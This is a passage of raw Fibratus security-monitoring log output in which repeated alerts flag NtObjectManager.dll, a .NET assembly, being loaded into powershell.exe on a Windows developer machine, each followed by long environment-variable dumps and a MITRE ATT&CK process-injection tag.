(x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1aee298e-6944-4721-90e5-241dbdbb85e5 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T14:19:21+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Users\nedo\Documents\WindowsPowerShell\Modules\NtObjectManager\2.0.1\NtObjectManager.dll loaded by unmanaged process C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Event(s): + Seq: 3322644 + Pid: 14176 + Tid: 17168 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-04 14:19:21.1169247 +0100 CET + Params: base_address➜ 22ab4200000, checksum➜ 0, default_address➜ 10000000003b4000, file_path➜ C:\Users\nedo\Documents\WindowsPowerShell\Modules\NtObjectManager\2.0.1\NtObjectManager.dll, image_size➜ 3899392, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14176, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 14176 + Ppid: 12304 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1aee298e-6944-4721-90e5-241dbdbb85e5 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T14:19:21+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Users\nedo\Documents\WindowsPowerShell\Modules\NtObjectManager\2.0.1\NtObjectManager.dll loaded by unmanaged process C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Event(s): + Seq: 3322644 + Pid: 14176 + Tid: 17168 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-04 14:19:21.1169247 +0100 CET + Params: base_address➜ 22ab4200000, checksum➜ 0, default_address➜ 10000000003b4000, file_path➜ C:\Users\nedo\Documents\WindowsPowerShell\Modules\NtObjectManager\2.0.1\NtObjectManager.dll, image_size➜ 3899392, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14176, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 14176 + Ppid: 12304 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1aee298e-6944-4721-90e5-241dbdbb85e5 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program 